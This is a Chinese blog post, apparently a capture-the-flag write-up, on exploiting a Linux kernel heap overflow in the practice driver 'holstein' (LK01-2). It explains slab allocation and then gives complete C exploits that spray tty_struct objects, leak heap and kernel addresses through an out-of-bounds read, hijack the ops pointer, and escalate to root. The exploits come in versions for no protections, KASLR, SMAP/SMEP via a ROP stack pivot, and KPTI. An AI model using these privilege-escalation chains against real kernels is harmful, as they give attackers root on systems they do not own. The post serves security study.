Linux内核之堆溢出的利用

这篇具有很好参考价值的文章主要介绍了Linux内核之堆溢出的利用。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

前言

用户进程会通过malloc等函数进行动态内存分配相应的内核也有一套动态的内存分配机制。

内核中的内存分配

有两种类型的计算机并且使用不同的方法管理物理内存

  • UMA计算机:每个处理器访问内存的速度一直
  • NUMA计算机:每个处理器访问自己的本地内存速度较快,但是访问其他处理器的本地内存会相对较慢

Linux内核之堆溢出的利用,漏洞挖掘,经验分享,渗透测试,linux,Linux内核,堆溢出,漏洞利用

首先将内存划为为结点,每个结点与一个处理器进行关联,因此上图的与处理器关联的内存都被视作为结点。结点使用pg_data_t结构体进行表示。并且结点与结点之间是通过链表进行链接的。

结点进一步划分为多个域,域使用zone_type枚举类型表示。

Linux内核之堆溢出的利用,漏洞挖掘,经验分享,渗透测试,linux,Linux内核,堆溢出,漏洞利用

域进一步细化为页为单位的内存进行划分。页则使用page数据结构进行表示。

Linux内核之堆溢出的利用,漏洞挖掘,经验分享,渗透测试,linux,Linux内核,堆溢出,漏洞利用

虽然内核中使用了伙伴算法对页框进行管理,但是由于页的单位一般是4096,倘若只想申请部分内存,但是直接分配一页的大小会浪费资源。因此内核使用了slab分配器进行小内存的分配。

帮助网安学习,全套资料S信免费领取:
① 网安学习成长路径思维导图
② 60+网安经典常用工具包
③ 100+SRC分析报告
④ 150+网安攻防实战技术电子书
⑤ 最权威CISSP 认证考试指南+题库
⑥ 超1800页CTF实战技巧手册
⑦ 最新网安大厂面试题合集(含答案)
⑧ APP客户端安全检测指南(安卓+IOS)

图片来自https://blog-wohin-me.translate.goog/posts/pawnyable-0202/?_x_tr_sl=auto&_x_tr_tl=en&_x_tr_hl,slab大致流程如下。

Linux内核之堆溢出的利用,漏洞挖掘,经验分享,渗透测试,linux,Linux内核,堆溢出,漏洞利用

slab不仅仅是作为分配器还有缓存的功能,因此在使用kmalloc时会首先检索kmem_cache是否存在空闲的内存,这一点与用户态下的ptmalloc很相似。

LK01-2

项目地址:https://github.com/h0pe-ay/Kernel-Pwn/tree/master/LK01-2/LK01-2

module_open

在执行open模块时会使用kmalloc进行动态内存分配,因此会使用到上述所说的slab分配器。

static int module_open(struct inode *inode, struct file *file)
{
  printk(KERN_INFO "module_open called\n");

  g_buf = kmalloc(BUFFER_SIZE, GFP_KERNEL);
  if (!g_buf) {
    printk(KERN_INFO "kmalloc failed");
    return -ENOMEM;
  }

  return 0;
}

module_read

在执行read模块时会从内核堆地址中拷贝信息到用户空间中去,但是这里的拷贝没有对长度做限制,因此存在着越界读的漏洞。

static ssize_t module_read(struct file *file,
                           char __user *buf, size_t count,
                           loff_t *f_pos)
{
  printk(KERN_INFO "module_read called\n");

  if (copy_to_user(buf, g_buf, count)) {
    printk(KERN_INFO "copy_to_user failed\n");
    return -EINVAL;
  }

  return count;
}

module_write

在执行write模块时会将用户空间的数据拷贝到内核堆空间中,由于没有做长度的限制,因此存在着内核堆溢出的漏洞。

static ssize_t module_write(struct file *file,
                            const char __user *buf, size_t count,
                            loff_t *f_pos)
{
  printk(KERN_INFO "module_write called\n");

  if (copy_from_user(g_buf, buf, count)) {
    printk(KERN_INFO "copy_from_user failed\n");
    return -EINVAL;
  }

  return count;
}

堆溢出的利用

由于内核分配动态内存是通过slab分配器,slab分配器会优先从缓存中取出,题目给会通过open模块分配一个0x400的堆块。因此会从kmalloc-1024中取出堆块。可以看到0x400的堆块能够写入超过0x400的数据。但是这种堆溢出不会影响程序正常执行。这是因为紧接着的堆块没有存储函数指针。

Linux内核之堆溢出的利用,漏洞挖掘,经验分享,渗透测试,linux,Linux内核,堆溢出,漏洞利用

因此如果需要劫持程序的执行流程,则需要使得存在一个堆块内部存放着函数指针并且在构造的堆块的后方。而内核的许多重要的结构体都是通过堆进行分配,而且这些结构体需要经常创建与释放,因此这些结构体也会通过kmalloc-1024中取出堆块。因此在内核堆块的利用需要熟悉内核中一些包含函数指针的对象的大小。而tty_struct 的结构体的大小刚好处于kmalloc-1024的范围内。

struct tty_struct {
	int	magic;
	struct kref kref;
	struct device *dev;	/* class device or NULL (e.g. ptys, serdev) */
	struct tty_driver *driver;
	const struct tty_operations *ops;
    ...
} __randomize_layout;

可以看到tty_struct结构体会存在ops的操作指针,对tty的操作都会调用该函数指针。

https://ptr–yudai-hatenablog-com.translate.goog/entry/2020/03/16/165628?_x_tr_sl=auto&_x_tr_tl=en&_x_tr_hl=zh-CN中统计了一下常用的结构体。

由于我们不清楚在执行open模块的时候分配的堆块是否会在tty结构体的上方,因此需要使用堆喷将tty结构体充满在open模块申请的堆块的附近。

    int spray[100];
    for (int i = 0; i < 50; i++)
        spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);
    int fd = open("/dev/holstein", O_RDWR);
    for (int i = 50; i < 100; i++)
        spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);
  • ptmx文件是用于打开伪终端主设备文件,该文件则是通过上述的tty结构体进行表示
  • O_NOCTTY则是用于防止当前进程将打开的终端设备作为其控制终端

对过上述操作在能使得open模块操作分配的堆空间是在tty结构体所分配的空间的周围的。如下图所示能够看到将tty结构体分配在g_bufopen模块分配的堆块)的下方

Linux内核之堆溢出的利用,漏洞挖掘,经验分享,渗透测试,linux,Linux内核,堆溢出,漏洞利用

该操作指针中存放着许多函数地址

Linux内核之堆溢出的利用,漏洞挖掘,经验分享,渗透测试,linux,Linux内核,堆溢出,漏洞利用

将该结构体覆盖为无效值

Linux内核之堆溢出的利用,漏洞挖掘,经验分享,渗透测试,linux,Linux内核,堆溢出,漏洞利用

通过ioctl操作触发函数指针

ioctl(spray[i], 0x1234, 0x1234);

ioctl 是一个用于在Linux系统中进行设备控制和配置的系统调用,它允许用户态程序与设备驱动程序进行通信以进行各种操作。因此执行ioctl函数实际是会调用ops指向的函数表。但是接着执行内核并不会发生崩溃,这里我猜测是在ioctl函数执行流程中会检测ops指针的有效性。

但是单单修改函数表内的函数地址,则会引起崩溃。

Linux内核之堆溢出的利用,漏洞挖掘,经验分享,渗透测试,linux,Linux内核,堆溢出,漏洞利用

崩溃地址正是我们修改的值。

Linux内核之堆溢出的利用,漏洞挖掘,经验分享,渗透测试,linux,Linux内核,堆溢出,漏洞利用

因此梳理一下针对该题堆溢出利用的条件

  1. 利用堆喷使得漏洞堆块处于tty结构体堆块的上方
  2. 利用堆溢出将ops指针修改为可控的内核堆地址并在该地址中填充函数地址

没有开启保护

经过测试,在没有开启kaslr的情况下g_buf对应的堆地址也是会改变的,因此需要进行泄露计算出g_buf的地址。由于g_buf处于内核地址,因此可以触发ioctl,这里我使用了用户空间的堆块地址,但是无法触发,因此猜测ioctl需要检验ops指针值是否为内核地址。

并且在tty结构体中存储了堆块的地址,因此可以通过越界读泄露堆地址。

Linux内核之堆溢出的利用,漏洞挖掘,经验分享,渗透测试,linux,Linux内核,堆溢出,漏洞利用

通过read模块泄露堆地址

...
	char buf[0x500];
    read(fd, buf, 0x500);
    unsigned long * p = (unsigned long *)&buf;
    for (int i = 0; i < 0xa0; i++)
    	printf("[0x%x] 0x%lx\n",i ,p[i]);
...

这里需要注意的是我们尽可能选择与g_buf地址相近的堆地址,因为slab分配器会分配连续的内存,因此在附近的地址可以计算出真正的偏移。

Linux内核之堆溢出的利用,漏洞挖掘,经验分享,渗透测试,linux,Linux内核,堆溢出,漏洞利用

泄露出堆地址后还需要解决一个问题是ioctl函数会执行函数表的哪个函数指针,因此我们需要劫持ops指针为g_buf,然后在g_buf填充有规律的垃圾数据,判断函数指针的位置。

    ...
    unsigned long heap = p[0x9f];
    printf("heap:0x%lx\n", heap);
    unsigned long g_buf = heap - 0x4f8 ;
    printf("g_buf:0x%lx\n", g_buf);
    for (unsigned long i = 0; i < 0x80; i++)
    	p[i] = i;
    *(unsigned long *)&buf[0x418] = g_buf;
    write(fd, buf, 0x500);
    for (int i = 0; i < 100; i++) {
       ioctl(spray[i], 0xdeadbeef, 0xcafebabe);
    }  
    ...

可以看到在函数表中的偏移为0xc,该地址填充的值会被用作处理ioctl函数的操作。

Linux内核之堆溢出的利用,漏洞挖掘,经验分享,渗透测试,linux,Linux内核,堆溢出,漏洞利用

由于题目没有开启任何保护,接下来就是ret2usr即可

run.sh

#!/bin/sh
qemu-system-x86_64 \
    -m 64M \
    -nographic \
    -kernel bzImage \
    -append "console=ttyS0 loglevel=3 oops=panic panic=-1 nosmap nosemp nokaslr nopti" \
    -no-reboot \
    -cpu qemu64 \
    -smp 1 \
    -monitor /dev/null \
    -initrd initramfs.cpio.gz\
    -net nic,model=virtio \
    -net user \
    -s

exp

这里需要对所有伪终端执行ioctl操作,这是因为我们不能判断具体覆盖了哪个tty的结构体。

#include <stdio.h>
#include <ctype.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/stat.h>
#include <string.h>
#include <stdlib.h>

/*
0xffffffff81074650 T prepare_kernel_cred
0xffffffff810744b0 T commit_creds
*/

unsigned long user_cs, user_sp, user_ss, user_rflags;
void save_user_land()
{
	__asm__(
		".intel_syntax noprefix;"
		"mov user_cs, cs;"
		"mov user_sp, rsp;"
		"mov user_ss, ss;"
		"pushf;"
		"pop user_rflags;"
		".att_syntax;"
	);
	puts("[*] Saved userland registers");
	printf("[#] cs: 0x%lx \n", user_cs);
	printf("[#] ss: 0x%lx \n", user_ss);
	printf("[#] rsp: 0x%lx \n", user_sp);
	printf("[#] rflags: 0x%lx \n\n", user_rflags);
}


void backdoor()
{
	printf("****getshell****");
	system("id");
	system("/bin/sh");
}

unsigned long user_rip = (unsigned long)backdoor;

void lpe()
{
	__asm(
		".intel_syntax noprefix;"
		"movabs rax, 0xffffffff81074650;" //prepare_kernel_cred
		"xor rdi, rdi;"
		"call rax;" //prepare_kernel_cred(0);
		"mov rdi, rax;"
		"mov rax, 0xffffffff810744b0;" //commit_creds
		"call rax;"
		"swapgs;"	
		"mov r15, user_ss;"
		"push r15;"
		"mov r15, user_sp;"
		"push r15;"
		"mov r15, user_rflags;"
		"push r15;"
		"mov r15, user_cs;"
		"push r15;"
		"mov r15, user_rip;"
		"push r15;"
		"iretq;"
		".att_syntax;"
	);
}


int main() {
    save_user_land();
    int spray[100];
    for (int i = 0; i < 50; i++)
        spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);
    int fd = open("/dev/holstein", O_RDWR);
    for (int i = 50; i < 100; i++)
        spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);
    char buf[0x500];
    read(fd, buf, 0x500);
    unsigned long * p = (unsigned long *)&buf;
    //for (int i = 0; i < 0xa0; i++)
    //printf("[0x%x] 0x%lx\n",i ,p[i]);
    unsigned long heap = p[0x9f];
    printf("heap:0x%lx\n", heap);
    unsigned long g_buf = heap - 0x4f8 ;
    printf("g_buf:0x%lx\n", g_buf);
    p[0xc] = lpe;
    *(unsigned long *)&buf[0x418] = g_buf;
    write(fd, buf, 0x500);
    for (int i = 0; i < 100; i++) {
       ioctl(spray[i], 0xdeadbeef, 0xcafebabe);
    }        
}

开启KASLR

run.sh

#!/bin/sh
qemu-system-x86_64 \
    -m 64M \
    -nographic \
    -kernel bzImage \
    -append "console=ttyS0 loglevel=3 oops=panic panic=-1 nosmap nosemp nopti kaslr" \
    -no-reboot \
    -cpu qemu64 \
    -smp 1 \
    -monitor /dev/null \
    -initrd initramfs.cpio.gz\
    -net nic,model=virtio \
    -net user \
    -s

exp

开启KASLR的解法与没开启保护的情况基本一致,只需要多泄露一个内核地址即可。

#include <stdio.h>
#include <ctype.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/stat.h>
#include <string.h>
#include <stdlib.h>


#define prepare_kernel_cred_offset 0x74650
#define commit_creds_offset 0x744b0

unsigned long kernel_base;
unsigned long prepare_kernel_cred;
unsigned long commit_creds;

unsigned long user_cs, user_sp, user_ss, user_rflags;
void save_user_land()
{
	__asm__(
		".intel_syntax noprefix;"
		"mov user_cs, cs;"
		"mov user_sp, rsp;"
		"mov user_ss, ss;"
		"pushf;"
		"pop user_rflags;"
		".att_syntax;"
	);
	puts("[*] Saved userland registers");
	printf("[#] cs: 0x%lx \n", user_cs);
	printf("[#] ss: 0x%lx \n", user_ss);
	printf("[#] rsp: 0x%lx \n", user_sp);
	printf("[#] rflags: 0x%lx \n\n", user_rflags);
}


void backdoor()
{
	printf("****getshell****");
	system("id");
	system("/bin/sh");
}

unsigned long user_rip = (unsigned long)backdoor;

void lpe()
{
	prepare_kernel_cred = kernel_base + prepare_kernel_cred_offset;
	commit_creds = kernel_base + commit_creds_offset;
	__asm(
		".intel_syntax noprefix;"
		"movabs rax, prepare_kernel_cred;" //prepare_kernel_cred
		"xor rdi, rdi;"
		"call rax;" //prepare_kernel_cred(0);
		"mov rdi, rax;"
		"mov rax, commit_creds;" //commit_creds
		"call rax;"
		"swapgs;"	
		"mov r15, user_ss;"
		"push r15;"
		"mov r15, user_sp;"
		"push r15;"
		"mov r15, user_rflags;"
		"push r15;"
		"mov r15, user_cs;"
		"push r15;"
		"mov r15, user_rip;"
		"push r15;"
		"iretq;"
		".att_syntax;"
	);
}


int main() {
    save_user_land();
    int spray[100];
    for (int i = 0; i < 50; i++)
        spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);
    int fd = open("/dev/holstein", O_RDWR);
    for (int i = 50; i < 100; i++)
        spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);
    char buf[0x500];
    read(fd, buf, 0x500);
    unsigned long * p = (unsigned long *)&buf;
    //for (int i = 0; i < 0xa0; i++)
    //	printf("[0x%x] 0x%lx\n",i ,p[i]);
    unsigned long heap = p[0x9f];
    printf("heap:0x%lx\n", heap);
    unsigned long g_buf = heap - 0x4f8 ;
    printf("g_buf:0x%lx\n", g_buf);
    unsigned long kernel_addr = p[0x83];
    printf("kernel_addr:0x%lx\n", kernel_addr);
    kernel_base = kernel_addr - 0xc38880;
    printf("kernel_base:0x%lx\n", kernel_base);
    p[0xc] = lpe;
    *(unsigned long *)&buf[0x418] = g_buf;
    write(fd, buf, 0x500);
    for (int i = 0; i < 100; i++) {
       ioctl(spray[i], 0xdeadbeef, 0xcafebabe);
    }       
}

开启SMAP与SMEP

SMAPSMEP会防止内核访问与执行用户空间的地址,但是由于该题本身是修改在堆块内的指针值无法在堆块内部构造ROP链,那么想要执行ROP链那么需要将栈迁移到堆上。但是由于我们的输入不在栈上,而是在堆上,无法通过pop rbp;ret;mov rsp,rbp去修改栈顶值。这里需要注意到,当通过ioctl函数时,我们的参数值实际也会被传递进去。如下图所示。

Linux内核之堆溢出的利用,漏洞挖掘,经验分享,渗透测试,linux,Linux内核,堆溢出,漏洞利用

因此需要通过根据这几个寄存器修改栈顶的操作

cat g | grep -E "push rdx;.* pop rsp;.* ret"

Linux内核之堆溢出的利用,漏洞挖掘,经验分享,渗透测试,linux,Linux内核,堆溢出,漏洞利用

gadget可以将rax的值移动到rdi的值,但是需要经过rep movsq qword ptr [rdi], qword ptr [rsi]; ret;,该汇编语言实际是循环将rsi指向的值存放到rdi中,并且循环此为由rcx寄存器指定,因此将rcx寄存器设置为0即可跳过该操作。

Linux内核之堆溢出的利用,漏洞挖掘,经验分享,渗透测试,linux,Linux内核,堆溢出,漏洞利用

run.sh

#!/bin/sh
qemu-system-x86_64 \
    -m 64M \
    -nographic \
    -kernel bzImage \
    -append "console=ttyS0 loglevel=3 oops=panic panic=-1  nopti kaslr" \
    -no-reboot \
    -cpu qemu64,+smap,+smep \
    -smp 1 \
    -monitor /dev/null \
    -initrd initramfs.cpio.gz\
    -net nic,model=virtio \
    -net user \
    -s

exp

#include <stdio.h>
#include <ctype.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/stat.h>
#include <string.h>
#include <stdlib.h>

/*
0xffffffff810d748d: pop rdi; ret; 
0xffffffff81022dff: iretq; pop rbp; ret;
0xffffffff8162668e: swapgs; ret;
0xffffffff813a478a: push rdx; mov ebp, 0x415bffd9; pop rsp; pop r13; pop rbp; ret;
0xffffffff8162707b: mov rdi, rax; rep movsq qword ptr [rdi], qword ptr [rsi]; ret;
0xffffffff8109c39e: pop rsi; ret;
0xffffffff8113c1c4: pop rcx; ret;
*/

#define prepare_kernel_cred_offset 0x74650
#define commit_creds_offset 0x744b0
#define pop_rdi_offset 0xd748d
#define iretq_pop_rbp_offset 0x22dff
#define push_rax_ret_offset 0x24819 
#define push_rdx_pop_rsp_ret_offset 0x3a478a
#define mov_rdi_rax_ret_offset 0x62707b
#define swapgs 0x62668e
#define pop_rsi 0x9c39e
#define pop_rcx 0x13c1c4

unsigned long kernel_base;
unsigned long prepare_kernel_cred;
unsigned long commit_creds;
unsigned long user_cs, user_sp, user_ss, user_rflags;

void save_user_land()
{
	__asm__(
		".intel_syntax noprefix;"
		"mov user_cs, cs;"
		"mov user_sp, rsp;"
		"mov user_ss, ss;"
		"pushf;"
		"pop user_rflags;"
		".att_syntax;"
	);
	puts("[*] Saved userland registers");
	printf("[#] cs: 0x%lx \n", user_cs);
	printf("[#] ss: 0x%lx \n", user_ss);
	printf("[#] rsp: 0x%lx \n", user_sp);
	printf("[#] rflags: 0x%lx \n\n", user_rflags);
}


void backdoor()
{
	printf("****getshell****");
	system("id");
	system("/bin/sh");
}


int main() {
    save_user_land();
    int spray[100];
    for (int i = 0; i < 50; i++)
        spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);
    int fd = open("/dev/holstein", O_RDWR);
    for (int i = 50; i < 100; i++)
        spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);
    char buf[0x500];
    read(fd, buf, 0x500);
    unsigned long * p = (unsigned long *)&buf;
    //for (int i = 0; i < 0xa0; i++)
    //	printf("[0x%x] 0x%lx\n",i ,p[i]);
    unsigned long heap = p[0x9f];
    printf("heap:0x%lx\n", heap);
    unsigned long g_buf = heap - 0x4f8 ;
    printf("g_buf:0x%lx\n", g_buf);
    unsigned long kernel_addr = p[0x83];
    printf("kernel_addr:0x%lx\n", kernel_addr);
    kernel_base = kernel_addr - 0xc38880;
    printf("kernel_base:0x%lx\n", kernel_base);
    p[0x22] = pop_rdi_offset + kernel_base;
    p[0x23] = 0;
    p[0x24] = prepare_kernel_cred_offset + kernel_base;
    p[0x25] = pop_rcx + kernel_base;
    p[0x26] = 0;
    p[0x27] = mov_rdi_rax_ret_offset + kernel_base;
    p[0x28] = commit_creds_offset + kernel_base;
    p[0x29] = swapgs + kernel_base;
    p[0x2a] = iretq_pop_rbp_offset + kernel_base;
    p[0x2b] = (unsigned long)backdoor;
    p[0x2c] = user_cs;
    p[0x2d] = user_rflags;
    p[0x2e] = user_sp;
    p[0x2f] = user_ss;    
    *(unsigned long *)&buf[0x418] = g_buf;
    p[0xc] = p[0xc] = kernel_base + push_rdx_pop_rsp_ret_offset;
    write(fd, buf, 0x500);
    for (int i = 0; i < 100; i++) {
       ioctl(spray[i], g_buf+0x100, g_buf+0x100);
    }       
}

开启kpti

run.sh

#!/bin/sh
qemu-system-x86_64 \
    -m 64M \
    -nographic \
    -kernel bzImage \
    -append "console=ttyS0 loglevel=3 oops=panic panic=-1  kpti=1  kaslr" \
    -no-reboot \
    -cpu qemu64,+smap,+smep \
    -smp 1 \
    -monitor /dev/null \
    -initrd initramfs.cpio.gz\
    -net nic,model=virtio \
    -net user \
    -s

exp

kpti的绕过也与普通的一致,使用swapgs_restore_regs_and_return_to_usermodegadget即可文章来源地址https://www.toymoban.com/news/detail-708885.html

#include <stdio.h>
#include <ctype.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/stat.h>
#include <string.h>
#include <stdlib.h>

/*
0xffffffff810d748d: pop rdi; ret; 
0xffffffff81022dff: iretq; pop rbp; ret;
0xffffffff8162668e: swapgs; ret;
0xffffffff813a478a: push rdx; mov ebp, 0x415bffd9; pop rsp; pop r13; pop rbp; ret;
0xffffffff8162707b: mov rdi, rax; rep movsq qword ptr [rdi], qword ptr [rsi]; ret;
0xffffffff8109c39e: pop rsi; ret;
0xffffffff8113c1c4: pop rcx; ret;
0xffffffff81800e10 T swapgs_restore_regs_and_return_to_usermode
*/

#define prepare_kernel_cred_offset 0x74650
#define commit_creds_offset 0x744b0
#define pop_rdi_offset 0xd748d
#define iretq_pop_rbp_offset 0x22dff
#define push_rax_ret_offset 0x24819 
#define push_rdx_pop_rsp_ret_offset 0x3a478a
#define mov_rdi_rax_ret_offset 0x62707b
#define swapgs 0x62668e
#define pop_rsi 0x9c39e
#define pop_rcx 0x13c1c4
#define swapgs_restore_regs_and_return_to_usermode 0x800e10

unsigned long kernel_base;
unsigned long prepare_kernel_cred;
unsigned long commit_creds;
unsigned long user_cs, user_sp, user_ss, user_rflags;

void save_user_land()
{
	__asm__(
		".intel_syntax noprefix;"
		"mov user_cs, cs;"
		"mov user_sp, rsp;"
		"mov user_ss, ss;"
		"pushf;"
		"pop user_rflags;"
		".att_syntax;"
	);
	puts("[*] Saved userland registers");
	printf("[#] cs: 0x%lx \n", user_cs);
	printf("[#] ss: 0x%lx \n", user_ss);
	printf("[#] rsp: 0x%lx \n", user_sp);
	printf("[#] rflags: 0x%lx \n\n", user_rflags);
}


void backdoor()
{
	printf("****getshell****");
	system("id");
	system("/bin/sh");
}


int main() {
    save_user_land();
    int spray[100];
    for (int i = 0; i < 50; i++)
        spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);
    int fd = open("/dev/holstein", O_RDWR);
    for (int i = 50; i < 100; i++)
        spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);
    char buf[0x500];
    read(fd, buf, 0x500);
    unsigned long * p = (unsigned long *)&buf;
    //for (int i = 0; i < 0xa0; i++)
    //	printf("[0x%x] 0x%lx\n",i ,p[i]);
    unsigned long heap = p[0x9f];
    printf("heap:0x%lx\n", heap);
    unsigned long g_buf = heap - 0x4f8 ;
    printf("g_buf:0x%lx\n", g_buf);
    unsigned long kernel_addr = p[0x83];
    printf("kernel_addr:0x%lx\n", kernel_addr);
    kernel_base = kernel_addr - 0xc38880;
    printf("kernel_base:0x%lx\n", kernel_base);
    p[0x22] = pop_rdi_offset + kernel_base;
    p[0x23] = 0;
    p[0x24] = prepare_kernel_cred_offset + kernel_base;
    p[0x25] = pop_rcx + kernel_base;
    p[0x26] = 0;
    p[0x27] = mov_rdi_rax_ret_offset + kernel_base;
    p[0x28] = commit_creds_offset + kernel_base;
    p[0x29] = swapgs_restore_regs_and_return_to_usermode + kernel_base + 0x16;
    p[0x2a] = 0;
    p[0x2b] = 0;
    p[0x2c] = (unsigned long)backdoor;
    p[0x2d] = user_cs;
    p[0x2e] = user_rflags;
    p[0x2f] = user_sp;
    p[0x30] = user_ss;    
    *(unsigned long *)&buf[0x418] = g_buf;
    p[0xc] = p[0xc] = kernel_base + push_rdx_pop_rsp_ret_offset;
    write(fd, buf, 0x500);
    for (int i = 0; i < 100; i++) {
       ioctl(spray[i], g_buf+0x100, g_buf+0x100);
    }       
}

到了这里,关于Linux内核之堆溢出的利用的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 操作系统权限提升(三)之Windows系统内核溢出漏洞提权

    系列文章 操作系统权限提升(一)之操作系统权限介绍 操作系统权限提升(二)之常见提权的环境介绍 注:阅读本编文章前,请先阅读系列文章,以免造成看不懂的情况!!! 溢出提权是指攻击者利用系统本身或系统中软件的漏洞来获取 Windows操作系统System权限,其中溢出,提权

    2024年02月14日
    浏览(30)
  • 漏洞利用与缓冲区溢出攻击

    目录 简介: 1. 漏洞利用基础 2. 缓冲区溢出攻击 3. 缓解缓冲区溢出攻击 3.1 边界检查 3.2 使用安全函数 3.3 使用堆栈保护技术 总结: 简介: 漏洞利用是渗透测试中的重要部分,它允许攻击者通过利用软件或系统的漏洞来获取未经授权的访问权限。其中,缓冲区溢出攻击是最常

    2024年02月14日
    浏览(95)
  • 从CVE复现看栈溢出漏洞利用

    最近复现了两个栈溢出漏洞的cve,分别是CVE-2017-9430和CVE-2017-13089,简单记录一下real wrold中的栈溢出漏洞学习。目前,栈溢出漏洞主要出现在iot固件中,linux下的已经很少了,所以这两个洞都是17年,比较早,但还是能学到一些东西。 dnstracer 1.9 及之前版本中基于堆栈的缓冲区

    2024年04月12日
    浏览(28)
  • 利用MSF溢出漏洞提权windows server2012

    使用Kali Linux平台的“metasploit framework”工具,针对Windows2012R2操作系统,上传EXP实现系统提权。 在此之前已经上传一句话取得admin权限,在自己虚拟机做演示,大家通常取得的权限可能会比admin低,但也是可以进行以下提权的,这里要把目标提权至system权限。 kalil inux Windows S

    2024年01月24日
    浏览(41)
  • 实战敏感信息泄露高危漏洞挖掘利用

    信息泄露就是某网站某公司对敏感数据没有安全的保护,导致泄露敏感被攻击者利用,例如泄露:账号,密码,管理员,身份证,数据库,服务器,敏感路径等等 如果进了业务系统可以SQL注入,文件上传,getshell获取服务器权限高危操作 例如: 可以根据账号,猜测默认密码

    2023年04月08日
    浏览(39)
  • 5.2 基于ROP漏洞挖掘与利用

    通常情况下栈溢出可能造成的后果有两种,一类是本地提权另一类则是远程执行任意命令,通常C/C++并没有提供智能化检查用户输入是否合法的功能,同时程序编写人员在编写代码时也很难始终检查栈是否会发生溢出,这就给恶意代码的溢出提供了的条件,利用溢出攻击者可

    2024年02月13日
    浏览(26)
  • 黑客攻击实战案例:12种开源情报收集、缓冲区溢出漏洞挖掘、路径遍历漏洞、自定义参数Cookie参数绕过2FA、二维码的XSS、恶意文件上传清单、反射型XSS漏洞、威胁情报搜索引擎

    黑客攻击实战案例:12种开源情报收集、缓冲区溢出漏洞挖掘、路径遍历漏洞、自定义参数Cookie参数绕过2FA、二维码的XSS、恶意文件上传清单、反射型XSS漏洞、威胁情报搜索引擎。 目前漏洞挖掘的常用方法只有一种就是人工分析为主,漏洞挖掘在很大程度上是个人行为,漏洞

    2024年02月04日
    浏览(40)
  • 【HUST】网络攻防实践|6_物联网设备固件安全实验|实验一 裸机缓冲区溢出漏洞利用

    写在最前: 大家分析的时候看一下自己学号是多少,然后分析对应的文件哈,我想都没想就打开01分析了,全部都做完了发现我不是这个文件,当事人现在就是很后悔,非常后悔呜呜呜呜呜。 打开 IDA Pro 7.6 ,打开 task1_0x.elf 文件, 选对应的选项。 然后点开 main 函数, f5 反汇

    2024年02月09日
    浏览(46)
  • 利用敏捷开发工具实现敏捷项目管理的实践经验分享

    Scrum中非常强调公开、透明、直接有效的沟通,这也是“可视化的管理工具”在敏捷开发中如此重要的原因之一 。通过“可视化的管理工具”让所有人直观的看到需求,故事,任务之间的流转状态,可以使团队成员更加快速适应敏捷开发流程。 所以,有敏捷工具的支撑是非常

    2024年02月11日
    浏览(37)
  • 云上攻防-云原生篇&Docker安全&系统内核&版本漏洞&CDK自动利用&容器逃逸

    细节部分在权限提升章节会详解,常用: CVE-2016-5195 CVE-2019-16884 CVE-2021-3493 CVE-2021-22555 CVE-2022-0492 CVE-2022-0847 CVE-2022-23222 Docker version = 18.09.2 RunC version = 1.0-rc6 1、安装docker对应版本 2、启动环境测试: 3、编译修改后EXP后等待管理进入执行 https://github.com/Frichetten/CVE-2019-5736-PoC 还有

    2024年02月08日
    浏览(53)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包